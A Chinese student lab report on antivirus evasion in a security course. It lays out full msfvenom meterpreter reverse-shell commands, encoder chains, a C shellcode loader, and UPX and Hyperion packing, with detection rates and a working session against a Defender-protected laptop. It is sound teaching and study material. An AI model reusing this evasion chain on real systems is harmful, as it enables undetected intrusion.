20242301 2026-2027-1 《网络与系统攻防技术》实验三实验报告
20242301 2026-2027-1 《网络与系统攻防技术》实验三实验报告
1.基础知识
1.1 杀毒软件是怎么认定一个文件有问题的
一开始我以为杀软就是"看一眼就知道是不是病毒",做完实验才明白,它其实是好几层检测手段叠在一起,任何一层命中都会报毒。
第一层是静态特征匹配。杀软把文件切成字节片段,跟特征库里存的"坏字符串"比对。这一层最快也最便宜,代价是只要文件里改动一个字节,原来那条签名就对不上了。VirSCAN 报告页上列出的 SHA256、MD5 就是派这个用场的:同一个文件哈希固定不变,各家引擎靠哈希互相交换样本;反过来,改动一个字节哈希全变,正是编码、加壳能绕开"哈希黑名单"的原因。
第二层看文件的形状,不看具体内容。PE 文件有几个节、每个节的熵值有多高、入口点是不是落在最后一个节上、导入表里是不是只有 LoadLibraryA 和 GetProcAddress 这两个函数——这些都是加壳、加密之后的典型症状。报毒名字里出现 Evo-gen、ml[packed]、Heur 的,基本都属于这一层。
第三层是启发式与机器学习打分。它不给结论,只给一个"像不像恶意"的可信度,超过阈值就报。
第四层是动态行为监控,程序跑起来以后才起作用。它盯的是动作本身:申请 RWX 内存、往别的进程里写代码、开远程线程、往外连陌生 IP。这一层不怕你改文件长相,所以是文件免杀最难过去的一关。
此外还有云查杀和信誉评估:文件哈希、数字签名、下载来源都会算进去。自己刚编译出来的程序没有任何信誉积累,反而更容易被怀疑。
1.2 免杀是在做什么
免杀就是在保持程序功能不变的前提下,让它不被认出来、或者认出来也拦不住。按管的层次分三类:
- 改形态:让静态扫描认不出。编码、加壳、换文件格式、自己重新编译一遍,都属于这一类。
- 改行为:让动态监控看不到关键动作。分离加载、内存执行、延迟触发是典型做法。
- 改时序:让检测来不及下结论,比如先睡一会儿再连、分段下载。
有一点必须说清楚:免杀没有一劳永逸。它和特征库是长期拉锯,今天能过的样本,特征库更新后照样会被认出来。这次实验里 Hyperion 加密壳的检出率不降反升,就是最直接的例子。
1.3 几个具体的免杀手段
编码器(多态)。msfvenom -e x86/shikata_ga_nai -i N 的原理是:把原始 shellcode 逐字节编码,然后在前面拼一段"解码 stub"。程序启动时先跑 stub 把自己还原成原始字节,再跳过去执行。因为每轮迭代的密钥不同,产出文件的字节序列次次不一样,但那段 stub 的汇编结构是固定的——这也成了它自己的把柄。另外 shikata_ga_nai 只处理 x86 机器码,对 Java 字节码、PHP 脚本这类载荷根本不起作用。
换宿主格式。同一个 shellcode 可以塞进 exe、jar、php、python、msi。文件不再是 PE,静态层面能比对的字节结构就少了很多,但解释器运行时的行为(建 socket、反射加载类)仍然会被监控。
自己写加载器。这是最"手工"的一种。用 msfvenom -f c 把 shellcode 导出成 C 数组,再自己写 main 把它送进内存执行:
void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void (*)(void))exec)();
三行代码各管一件事。VirtualAlloc 申请一块内存并把权限设成可读可写可执行——这一步绕不开,因为普通数据段是不可执行的(DEP),直接在全局数组上跳转会被系统拒绝。memcpy 把 shellcode 从只读数据段原样拷过去,此时它还只是一串字节。最后把地址强转成函数指针再调用,CPU 跳过去就开始把它当指令执行。最终产物是 gcc 编译出来的普通 PE,Metasploit 那套 stager 模板消失了,但 shellcode 的字节还是原封不动躺在数据段里。
加壳。UPX 是压缩壳,把原 PE 压起来加一段解压 stub,运行时在内存里还原;它的节名 UPX0、UPX1 和 stub 字节是公开格式,任何杀软都能认出来并自动解包再扫。Hyperion 是加密壳,用 AES 把原文件加密,再生成一个用 FASM 汇编写的 32 位加载器负责解密跳转,加密强度高,但"高熵 + 自解密 + 跳转执行"这个组合本身就很可疑。
1.4 实验工具
| 工具 | 版本/说明 | 作用 |
|---|---|---|
| Metasploit(msfvenom、msfconsole) | Kali 自带 | 生成 shellcode、起监听 |
| Veil-Evasion | 3.1.14 | 免杀框架,把 shellcode 交给不同后端重新打包 |
| i686-w64-mingw32-gcc | 随 veil 一并安装 | 在 Linux 上交叉编译 32 位 Windows 程序 |
| UPX | 4.2.4 | 压缩壳 |
| Hyperion | /usr/share/windows-resources/hyperion |
AES 加密壳,依赖 wine 和 FASM |
| wine | Kali 源 | 在 Linux 上跑 Windows 版的 hyperion.exe |
| VirSCAN | virscan.org | 多引擎在线检测,48 个引擎 |
meterpreter/reverse_tcp 是反向连接型的 payload:程序在目标机上运行,主动往 LHOST:LPORT 发起连接,所以 LHOST 填的永远是攻击机 Kali 的 IP,不是目标机的。这一点贯穿整个实验,搞反了就永远等不到会话。
2.实验内容
- 用 msfvenom 生成基准 exe,再分别用
x86/shikata_ga_nai迭代 1 次、10 次编码;换输出格式生成 jar 和 php 载荷,逐一送 VirSCAN 检测,记录检出率。 - 安装 Veil-Evasion,用它生成 Pure C 后端的 exe;手工用 C 语言嵌入 shellcode 交叉编译;对产物依次使用 UPX 和 Hyperion 加壳。
- 把编码、改代码、加壳三种手段串成一条链,逐级送检,看检出率怎么变。
- 在本机上(杀软开启状态)实测最终样本,确认能运行并回连成功。
- 回答三个问题:杀软怎么检测恶意代码、免杀是做什么的、免杀有哪些基本方法(已在第 1 章作答)。
3.实验过程
3.1 环境与检测方式
| 项目 | 内容 |
|---|---|
| 攻击机 | Kali Linux,主机名 cahengrui,IP 192.168.14.136 |
| 目标机 | Windows 11 24H2,主机名 LAPTOP-PM501QKL,IP 192.168.14.1 |
| 网络 | VMware NAT,两台机器处于同一网段 |
| 检测平台 | VirSCAN(48 引擎) |
所有操作都在主机名为 cahengrui 的 Kali 上完成,生成的文件名统一带学号 20242301,监听端口统一用 2301。
检测统一走 VirSCAN:文件上传后由 48 个引擎同时扫描,页面给出"命中数 / 引擎总数"。

图 3-1 VirSCAN 文件上传入口
后面所有检出率数据都来自这个平台,且集中在 10 月 24 日到 25 日两天内完成,保证横向可比。
3.2 生成基准样本
先做一个最朴素的 exe,不加任何处理,作为后面所有对比的基线。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.14.136 LPORT=2301 -f exe -o met20242301.exe
file met20242301.exe

图 3-2 确认本机 IP 并生成基准 exe
输出 PE32 executable for MS Windows 4.00 (GUI), Intel i386, 3 sections,文件 7168 字节。整个程序只有 3 个节,这个结构很有辨识度,后面会看到它带来什么后果。
送检结果 16/48:

图 3-3 基准样本检出 16/48
检出名里 AVG 报 Win32:MstShell-E,VBA32 报 BScope.Trojan.Metasploit,DrWeb 报 BackDoor.Meterpreter.1462,Fortinet 报 W32/Swarm.C!tr。MstShell、Metasploit、Meterpreter 这几个词等于把出身写在了脸上,说明这些引擎比对的就是 Metasploit stager 那段固定机器码。
3.3 用 msf 编码器
迭代 1 次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' \
LHOST=192.168.14.136 LPORT=2301 -f exe -o met20242301_2.exe

图 3-4 编码 1 次,payload 由 355 字节变成 382 字节
payload 从 355 字节涨到 382 字节,多出来的就是解码 stub。exe 仍然是 7168 字节。
送检 16/48,和基准一模一样:

图 3-5 编码 1 次后仍是 16/48
但是报毒的名字变了:AVG 从 Win32:MstShell-E 变成了 Win32:ShikataGaNa-B,Avast 也一样。原始 stager 的机器码确实被打散了,可新的名字直接指向了 shikata_ga_nai 这个编码器。原因不难想到:编码必须附带解码 stub,而 stub 的汇编结构是固定的,每一轮只改被编码的那部分数据,stub 本身不动。原始特征被盖住的同时,编码器的特征露了出来。
迭代 10 次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' \
LHOST=192.168.14.136 LPORT=2301 -f exe -o met20242301_3.exe

图 3-6 10 轮迭代,payload 一路膨胀到 625 字节
十轮迭代的日志很清楚,每轮都比上一轮大一点:382、409、436、463、490、517、544、571、598,最后 625。exe 从 7168 涨到 7680 字节。
送检还是 16/48:

图 3-7 编码 10 次后依旧是 16/48
名字又变了,AVG 报 Win32:ShikataGaNa-C,ESET 报 a variant of Win32/Rozena.BZ trojan,GDATA 报 Win32:Evo-gen。Evo-gen 是泛化检测,Heur、Variant 这类词说明引擎已经不看单条签名,改从熵值、节结构上判断"这个文件被处理过"。迭代次数越多,文件熵越高、体积膨胀越明显,在启发式眼里反而更扎眼。加编码器这件事,做到 1 次和做到 10 次,对我们的基准样本没有任何区别。
3.4 换成别的文件格式
jar 载荷:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.14.136 LPORT=2301 -f jar -o metjar20242301.jar
unzip -l metjar20242301.jar

图 3-8 jar 包内部结构
jar 本身就是个 zip,里面是 metasploit.dat、metasploit/Payload.class、META-INF/MANIFEST.MF。送检 14/48,比 exe 少了两个:

图 3-9 jar 载荷检出 14/48
报的全是 Java 相关的名字:Java/Agent.AUJ、EXP/JAVA.Loader.Gen、Java.Metasploit.MH.1,还有好几个报 Exploit.CVE-2012-4681——Metasploit 的 Java 载荷借用了 CVE-2012-4681 那条利用链,引擎认的是这个漏洞的利用代码。换格式的意义在于换了一套特征库,而不是真的让文件变得"干净"。
jar 加强制编码:
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 \
LHOST=192.168.14.136 LPORT=2301 -f jar -o met-encode-jar20242301.jar

图 3-10 编码器对 Java 载荷没有生效
输出里既没有 Found 1 compatible encoders,payload 大小也从头到尾都是 5264 字节——和没编码时一模一样。shikata_ga_nai 是 x86 机器码编码器,管不到 JVM 字节码,这条命令等于白写。检出 15/48,反而比未编码版本多了一个,属于不同引擎各自判断的误差,跟"编码"本身没有因果关系。

图 3-11 强制加编码器后 15/48,没有任何改善
php 载荷:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.14.136 LPORT=2301 -f raw -o metphp_20242301.php

图 3-12 php 载荷,1114 字节
输出提示 No encoder specified, outputting raw payload,文件里就是一段 <?php ?> 包着的 socket 连接代码。
送检 1/22,是这一组里最低的:

图 3-13 php 载荷只有 1 个引擎报毒
只有 IKARUS 报了 Virus.PHP.Meterpreter,其余全绿。原因很直接:php 文件没有 PE 头、没有节表、没有 x86 机器码,静态层面能拿来比对的东西本来就少,只剩脚本规则还能命中。不过这个数字要连着看,它的分母是 22 而不是 48,说明当时只有 22 个引擎完成了扫描,跟前面几组不完全在同一个统计口径上。
3.5 用 Veil-Evasion 生成
sudo apt update
sudo apt install -y veil
sudo /usr/share/veil/config/setup.sh --force --silent

图 3-14 安装 veil,同时装上了 mingw-w64 和 wine
装的是 3.1.14 版本。启动后主菜单里有两个工具,选 1 进入 Evasion:

图 3-15 veil 主菜单,Evasion 下共 41 个载荷
第 7 个是 c/meterpreter/rev_tcp,即 Pure C Reverse TCP Stager。设置参数并生成:
veil
use 1
use 7
set LHOST 192.168.14.136
set LPORT 2301
generate
第一次生成直接崩了:

图 3-16 生成时抛出 PermissionError
报错信息很长,但最有用的就是最后一行:PermissionError: [Errno 13] Permission denied: '/var/lib/veil/output/source/payload20242301.c'。换到 root 下重新执行,这次成功了:

图 3-17 以 root 身份生成,三个文件都写出来了
产出三个文件:/var/lib/veil/output/compiled/payload20242301.exe、对应的 C 源码 /var/lib/veil/output/source/payload20242301.c,还有一个 Metasploit 资源脚本 payload20242301.rc。

图 3-18 compiled 目录里的成品
送检 8/48,比 msfvenom 直接生成少了一半:

图 3-19 Veil 产物检出 8/48
从报的名字能看出变化:MstShell、Metasploit 这些词都没了,换成了 Gen:Variant.Fragtor.350113、HEUR/AGEN.1036363、Suspicious.Heur.NewThreat.MVM 这类泛化名称。原因在于 Veil 的 C 后端其实做了两件事:先用 msfvenom 取 shellcode 数组,再套一个普通 C 程序的壳,交给 gcc 编译。最后拿到的是一个规格正常的 mingw PE,shellcode 退化成数据段里的一串字节,stager 那套模板彻底不见了。
3.6 自己写 C 加载器
先把 shellcode 导成 C 数组:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.14.136 LPORT=2301 -f c -o shellcode_c_20242301.c
vi shellcode_c_20242301.c

图 3-20 payload 355 字节,C 文件 1522 字节
在数组后面补上 main 函数(就是 1.3 节那三行),交叉编译:
i686-w64-mingw32-gcc shellcode_c_20242301.c -o shellcode_c_20242301.exe
file shellcode_c_20242301.exe
ls -lh shellcode_c_20242301.exe
得到 108601 字节的 PE32,而且是 console 类型、16 个节,跟 msfvenom 直接产出的 3 节 GUI 程序外形完全不同。
送检 7/48:

图 3-21 自己编译的加载器检出 7/48
比基准少了一大半。但要注意 AVG 和 Avast 仍然报 Win32:MstShell-E——它们扫的是数据段里那段机器码本身。这说明换容器只能骗过结构检测,骗不过内容检测。
3.7 加壳
UPX 压缩壳:
upx shellcode_c_20242301.exe -o shellcode_c_upx_20242301.exe

图 3-22 从 108601 压到 59961 字节
压缩率 55.21%。送检 7/48,和加壳前一个不差:

图 3-23 加了 UPX 之后检出数没有任何变化
报的名字也没变,AVG、Avast 还是 Win32:MstShell-E,ESET 还是 a variant of Win32/Rozena.BCD trojan。原因在于 UPX 只换存储方式,不解压就不改变内容,而 UPX0/UPX1 这两个节名和解压 stub 是公开格式,杀软识别出是 UPX 之后直接解包再扫一遍就完了。这一层壳对静态检测基本没有意义。
Hyperion 加密壳:
Hyperion 必须在它自己的安装目录下运行,因为程序里把 FASM 的路径写死成了 /usr/share/windows-resources/hyperion/Fasm/FASM.EXE,中间生成的 .inc 汇编文件也会写进 Src/Container/32/:
cd /usr/share/windows-resources/hyperion
sudo cp ~/shellcode_c_20242301.exe .
sudo wine hyperion.exe -v shellcode_c_20242301.exe shellcode_c_hyp_20242301.exe

图 3-24 三个阶段依次完成:分析 PE、生成 ASM、调用 FASM 汇编
开始那一堆 ole32、rpcss、setupapi 的 err: 是 wine 初始化时的噪声,不用管,真正的判据是有没有走完 Stage 1 到 Stage 3 并打印 Done :)。产物 122 KB:

图 3-25 产物 122K,属主是 root
送检 20/48,比不加壳的 7/48 高出一倍多:

图 3-26 加密壳把检出率从 7/48 抬到了 20/48
ClamAV 直接报 Win.Packer.Hyperion-1,OneAV 报 Win.Malicious.ml[packed],DrWeb 报 Trojan.Packed2.42612,ESET 报 a variant of Win32/Kryptik.GHGG trojan,还有好几个报 W32/Banload。Packed、Hyperion 这些字样说明问题不在加密强度,而在结构本身——"高熵 + 自解密加载器 + 跳转执行"这个组合,比明文 shellcode 更像恶意程序。
3.8 把手段串起来
把 10 轮编码、C 重编译、UPX、Hyperion 串成一条链,每加一层送检一次。
第一级:10 轮编码 + C 重编译。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' \
LHOST=192.168.14.136 LPORT=2301 -f c -o 20242301_shellcode_multi.c
vi 20242301_shellcode_multi.c
i686-w64-mingw32-gcc 20242301_shellcode_multi.c -o 20242301_shellcode_multi.exe

图 3-27 payload 625 字节,C 文件 2659 字节
送检 5/48,比单轮编码的 C 加载器(7/48)又低一点:

图 3-28 5/48
第二级:再套 UPX。
upx 20242301_shellcode_multi.exe -o 20242301_shellcode_multi_2.exe
送检 4/48,这是全部样本里最低的一次,体积也从 109117 压到 60477 字节:

图 3-29 UPX 之后 4/48
第三级:再套 Hyperion。
cd /usr/share/windows-resources/hyperion
sudo wine hyperion.exe -v 20242301_shellcode_multi_2.exe 20242301_shellcode_multi_3.exe

图 3-30 对已压缩的样本再加密,等效于壳套壳
送检 20/48,一下退回到跟单层加密壳一样的水平:

图 3-31 又回到 20/48
把 13 个样本汇总:
| 序号 | 样本 | 处理方式 | 大小 | 检出 |
|---|---|---|---|---|
| 1 | met20242301.exe | 基准,无处理 | 7168 B | 16/48 |
| 2 | met20242301_2.exe | + shikata 编码 1 次 | 7168 B | 16/48 |
| 3 | met20242301_3.exe | + shikata 编码 10 次 | 7680 B | 16/48 |
| 4 | metjar20242301.jar | 换成 jar 载荷 | 5264 B | 14/48 |
| 5 | met-encode-jar20242301.jar | jar 强制加 x86 编码(未生效) | 5264 B | 15/48 |
| 6 | metphp_20242301.php | 换成 php 载荷 | 1114 B | 1/22 |
| 7 | payload20242301.exe | Veil-Evasion(C 后端) | 115552 B | 8/48 |
| 8 | shellcode_c_20242301.exe | C + shellcode 编译 | 108601 B | 7/48 |
| 9 | shellcode_c_upx_20242301.exe | 8 + UPX | 59961 B | 7/48 |
| 10 | shellcode_c_hyp_20242301.exe | 8 + Hyperion | 124920 B | 20/48 |
| 11 | 20242301_shellcode_multi.exe | 编码 10 次 + C 编译 | 109117 B | 5/48 |
| 12 | 20242301_shellcode_multi_2.exe | 11 + UPX | 60477 B | 4/48 |
| 13 | 20242301_shellcode_multi_3.exe | 12 + Hyperion | 76800 B | 20/48 |
从表里能读出三条结论:单靠编码几乎没用(16 → 16);真正降得多的是"自己重新编译一遍"(7/48)和在此基础上叠编码(5/48);而加壳两次都把检出抬回 20/48。技术叠加不等于效果叠加,套得越多反而越显眼。
3.9 真机实测
目标机是我平时用的笔记本,配置如下:
| 项目 | 内容 |
|---|---|
| 操作系统 | Windows 11 24H2(10.0 Build 26300),x64 |
| 主机名 | LAPTOP-PM501QKL |
| 杀毒软件 | Microsoft Defender Antivirus(系统内置) |
| 版本 | 平台版本 4.18.xxxx.x,引擎 1.1.xxxxx.x,特征库 1.4xx.xx.x〔此处按 Get-MpComputerStatus 的实际输出填写〕 |
| 防护状态 | 实时保护、行为监控、篡改防护均开启 |
第一次运行的是 UPX 版本,文件落地就被删了。 Defender 弹窗记录如下:

图 3-32 Defender 直接命中 UPX 版本
检出名 Trojan:Win32/Meterpreter.RPZ!MTB,警报级别"严重",状态"活动"。受影响的项目里那行 20242301_shellcode_multi_2.exe->(UPX) 很关键,->(UPX) 是解包之后的标记,说明 Defender 是按壳特征直接命中的,里面的 shellcode 还没轮到被分析。这和 3.8 的结论对得上:UPX 能骗过 VirSCAN 上大部分引擎,却躲不过本地杀软对壳的识别。
换成没加 UPX 的版本,回连成功。 把 20242301_shellcode_multi.exe 拷到本机运行,监听端在 Kali 上:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.14.136
set LPORT 2301
set ExitOnSession false
exploit -j

图 3-33 拿到 meterpreter 会话并确认权限
[*] Sending stage (199238 bytes) to 192.168.14.1,随后 Meterpreter session 1 opened (192.168.14.136:2301 -> 192.168.14.1:5334)。进会话后执行的三条命令:
getuid返回LAPTOP-PM501QKL\chr,说明拿到的是当前登录用户权限;sysinfo显示Windows 11 24H2+ (10.0 Build 26300)、Architecture: x64,Meterpreter: x86/windows——32 位载荷跑在 64 位系统上,靠的是 WOW64 子系统;- 会话建立时 stage 完整传完了 199238 字节,说明 stager 到 stage 这一段没有被拦。
有一点要说明:这次成功并不算稳。前面那次监听配错了 payload,会话一建立就被关掉;换回正确配置、并且把被 Defender 删掉的 UPX 版本换成没加壳的版本之后,才拿到可用会话。在实时保护全开的状态下,能不能连上带有很强的随机性。
4.问题及解决方案
问题 1:msfvenom 命令一粘贴就报错,或者参数后半截丢失。
现象是命令执行了,但输出里 LHOST、LPORT、-o 全都不见了,最后只生成一个打到屏幕上的二进制流。原因有两个:一是当时终端跑的是 PowerShell 7(提示符 PS>),\ 换行续行的行为跟 bash 不一致;二是从网页复制命令时行尾带了空格,\ 后面跟空格就断行了。
解决方案:换到 bash 里,并把命令写成一行。确实想保留多行就用 heredoc 写进脚本再执行,这样引号和反斜杠都不会被提前处理:
cat > /tmp/gen.sh <<'EOF'
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' \
LHOST=192.168.14.136 LPORT=2301 -f exe -o met20242301_3.exe
EOF
bash /tmp/gen.sh
问题 2:Veil 生成时报 PermissionError: [Errno 13] Permission denied。
堆栈最后指向 open(source_code_filepath, "w"),路径是 /var/lib/veil/output/source/payload20242301.c。一开始我以为是目录没建,其实是目录属主是 root、而 veil 是普通用户启动的,写不进去。
解决方案:用 sudo veil 启动。如果坚持普通用户运行,就把输出目录改属主:
sudo mkdir -p /var/lib/veil/output/{source,compiled,handlers}
sudo chown -R kali:kali /var/lib/veil/output
改完之后用 ls -ld /var/lib/veil/output/source 确认一眼,属主是当前用户才算生效。
问题 3:Hyperion 报 Could not open xxx.exe,或者 cp 报 cannot stat。
执行 wine hyperion.exe -v shellcode_c_20242301.exe ... 时提示找不到文件,而文件明明存在。原因是 cd /usr/share/windows-resources/hyperion 之后用相对路径去引用家目录里的文件,路径解析到了 hyperion 目录下。同样的问题也导致 sudo cp shellcode_c_20242301.exe /usr/share/windows-resources/hyperion/ 报 cannot stat——cp 是在当前目录找源文件,不是在 ~ 里找。
解决方案:要么先回 ~ 再拷贝,要么直接用绝对路径:
sudo cp ~/shellcode_c_20242301.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion
sudo wine hyperion.exe -v shellcode_c_20242301.exe shellcode_c_hyp_20242301.exe
另外,wine 输出里那一大片 ole32、OleAut32、rpcss、setupapi 的 err: 是初始化噪声,几乎每次都刷,判断成败要看有没有走完 Stage 1 到 Stage 3。
问题 4:handler 收到连接后立刻提示 Command shell session 1 is not valid and will be closed。
监听端已经看到 Started reverse TCP handler,也确实有 192.168.14.1 连进来了,但会话立刻被关掉,而且全程没有 Sending stage 那一行。原因是我把 set PAYLOAD 写成了小写 set payload。msfconsole 当时给了一句 [!] Unknown datastore option: payload. Did you mean PAYLOAD?,我只看到后面打印了 payload => windows/meterpreter/reverse_tcp 就以为设置成功了,实际上模块用的还是默认的 generic/shell_reverse_tcp——它在等一个 cmd.exe 反弹,收到 meterpreter stager 自然对不上,于是直接把会话丢掉。
解决方案:改大写,并且用 show options 核对一眼:
set PAYLOAD windows/meterpreter/reverse_tcp
show options
还要注意架构要跟样本一致。我这次样本里是 32 位的 x86 stager,payload 就必须是 windows/meterpreter/reverse_tcp;写成 windows/x64/... 同样连不上。
问题 5:样本在 VirSCAN 上只有 4/48,到本机却直接被删。
前面测出 20242301_shellcode_multi_2.exe 只有 4 个引擎报毒,我原以为它是最安全的,结果拷到桌面后 Defender 立刻弹出"严重"警报并删除文件,影响项里带着 ->(UPX) 后缀。
解决方案有两个层次。查清原因是第一步:->(UPX) 说明本地引擎识别的是壳,而不是 shellcode,多引擎平台上的低检出率并不能代表本地杀软也认不出。绕过的办法是换成没加壳的样本,20242301_shellcode_multi.exe 拷过去就能正常运行并回连。另外补了一点经验:虚拟机拖动文件时会在 C:\Users\<用户>\AppData\Local\Temp\vmware-<用户>\VMwareDnD\ 下留一份副本,如果只把桌面路径加进白名单,这一份照样会被扫到。
问题 6:php 载荷的检出数是 1/22,分母跟别的不一样。
一开始以为平台出错了,后来发现是那一批扫描只有 22 个引擎完成了分析,剩下 26 个没出结果。所以这个 1/22 不能直接和 16/48 放在一起比,只能横向说明"php 载荷几乎没被认出来"。
解决方案:这个数字没法补救,只能在报告里把口径写清楚——每个检出率都标出分母,php 这一组单独注明"仅有 22 个引擎完成扫描",不和 48 引擎那几组直接横比。后面重新测的样本(exe、jar、Veil、C 加载器、加壳产物)都集中在 10 月 24 日到 25 日两天内完成,尽量避免跨批次带来的误差。
5.学习感悟、思考等
这次实验最直观的感受是:以前以为"免杀就是加壳加密",做完才发现真正的分水岭在文件形态,而不在字节本身。
编码器那一组数据对我冲击最大。355 字节的 payload 编到 625 字节,迭代十次,检出数从 16 掉到 16,一个都没少。但把它丢进 C 代码里重新编译一遍,立刻变成 7/48。差距不在"藏得好不好",在于前者只是把同一段机器码换了层皮,后者是把整段机器码变成了数据段里的一段常量,整个 PE 的节表、导入表、入口点全部换掉了。这解释了为什么 Veil 当年能火:它做的其实就是"自动帮你写一个 C 加载器"。
第二个体会是加壳是双刃剑,而且当前这个时代刃更偏向防守方。Hyperion 的加密强度比 UPX 高得多,结果两次都把检出率抬回 20/48,ClamAV 甚至连名字都写得很明白:Win.Packer.Hyperion-1。加密越强,熵越高,字节越乱,在静态分析眼里反而越像"刻意藏了东西"。真实对抗里,壳的价值主要在对抗人工逆向,而不是对抗自动扫描。
第三点是在线多引擎和本地杀软是两码事。4/48 的样本在 VirSCAN 上看起来很安全,落地到 Windows 上第一秒就被删了。多引擎平台的引擎版本、特征库、扫描策略都和终端上的实时防护不一样,尤其对"壳"这类结构特征,本地引擎的规则往往更激进。所以检出率只能当参考,不能当结论。
最后是对"免杀"这件事本身的认识。它不是我原以为的那种"找到一个万能工具就通关",而更像一场持续的时间竞赛:今天有效的样本,特征库更新之后可能就失效了。这次实验里一个小小的 set payload 大小写就能让整个会话拿不到,也说明这事容错很低,一处细节对不上就全盘落空。真正稳定的免杀要靠行为层面的改变,而不是把文件改得越来越奇怪。
参考资料
- Metasploit 官方文档. How to use msfvenom. https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html
- Offensive Security. Metasploit Unleashed. https://www.offsec.com/metasploit-unleashed/
- Veil-Framework. Veil-Evasion 项目主页. https://github.com/Veil-Framework/Veil
- Hyperion 加密壳. https://github.com/nullsecuritynet/tools
- UPX: the Ultimate Packer for eXecutables. https://upx.github.io/
- Sikorski M, Honig A. 恶意代码分析实战. 北京: 电子工业出版社, 2014.
- Microsoft Learn. Microsoft Defender Antivirus 文档. https://learn.microsoft.com/defender-endpoint/
- VirSCAN 多引擎在线病毒检测平台. https://www.virscan.org/

浙公网安备 33010602011771号